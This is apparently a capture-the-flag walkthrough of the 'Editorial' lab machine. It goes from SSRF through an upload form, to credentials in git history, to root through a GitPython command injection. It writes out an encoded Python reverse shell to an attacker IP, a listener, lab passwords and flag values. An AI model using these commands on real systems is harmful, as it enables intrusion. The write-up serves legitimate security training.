Editorial - Walkthrough

Editorial is an easy difficulty Linux machine that features a publishing web application vulnerable to Server-Side Request Forgery (SSRF). This vulnerability is leveraged to gain access to an internal running API, which is then leveraged to obtain credentials that lead to SSH access to the machine. Enumerating the system further reveals a Git repository that is leveraged to reveal credentials for a new user. The root user can be obtained by exploiting CVE-2022-24439 and the sudo configuration.

Reconnaissance

We begin with an Nmap scan to identify open services:

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn --disable-arp-ping 10.10.11.20 -oG allPorts

The scan reveals:

PORT	STATE	SERVICE
22/tcp	open	ssh
80/tcp	open	http

A targeted scan provides more details:

sudo nmap -p22,80 -sCV 10.10.11.20 -oN targeted

SSH → OpenSSH 8.9p1 Ubuntu 3ubuntu0.7
HTTP → Nginx 1.18.0 (Ubuntu), redirecting to editorial.htb

We add the hostname to /etc/hosts:

sudo sh -c 'echo "10.10.11.20 editorial.htb" >> /etc/hosts'

editorial.htb

Enumeration

We perform content discovery with ffuf:

ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://editorial.htb/FUZZ

Results:

/about
/upload

The /upload endpoint looks particularly interesting.

Foothold

The /upload page allows file uploads:

editorial.htb/upload

We abuse this functionality to trigger SSRF and retrieve API metadata:

SSRF api

wget http://editorial.htb/static/uploads/505d9868-515a-42ef-bd63-9fdc41931d2d
cat 505d9868-515a-42ef-bd63-9fdc41931d2d | jq

The response exposes several internal API endpoints. Querying the new_authors message reveals credentials:

SSRF new_authors

wget http://editorial.htb/static/uploads/16e0ad2c-3be1-4c8c-b05f-8e1c0a4a92c7
cat 16e0ad2c-3be1-4c8c-b05f-8e1c0a4a92c7 | jq

Username	Password
dev	dev080217_devAPI!@

With these credentials, we gain shell access as dev and capture the user flag:

cat user.txt

User flag: f0033e1bf3764f2d29bd0aa61bbdda71

Post-Exploitation

Inside the apps directory, a .git repository is present:

cd apps
git log -p
git show b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae

Reviewing the commit history reveals production credentials:

Username	Password
prod	080217_Producti0n_2023!@

We switch to the prod account:

su prod

Privilege Escalation

We check sudo privileges for prod:

sudo -l

The account can run Python with the script /opt/internal_apps/clone_changes/clone_prod_change.py as root.

Inspecting the script:

#!/usr/bin/python3
import os
import sys
from git import Repo
 
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
 
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

This script uses GitPython 3.1.29, which is vulnerable to command injection.

We exploit it to drop and execute a reverse shell:

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c echo% cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjM5Iiw0MDAwKSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigiL2Jpbi9iYXNoIikn% |% base64% -d% >% /tmp/reverse_shell.sh;% chmod% +x% /tmp/reverse_shell.sh"

We confirm the file, set up a listener, and execute it:

nc -nlvp 4000
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c /tmp/reverse_shell.sh"

Root shell obtained:

cat root.txt

Root flag: 70a3f7b33d13b576c24618c6e0befe32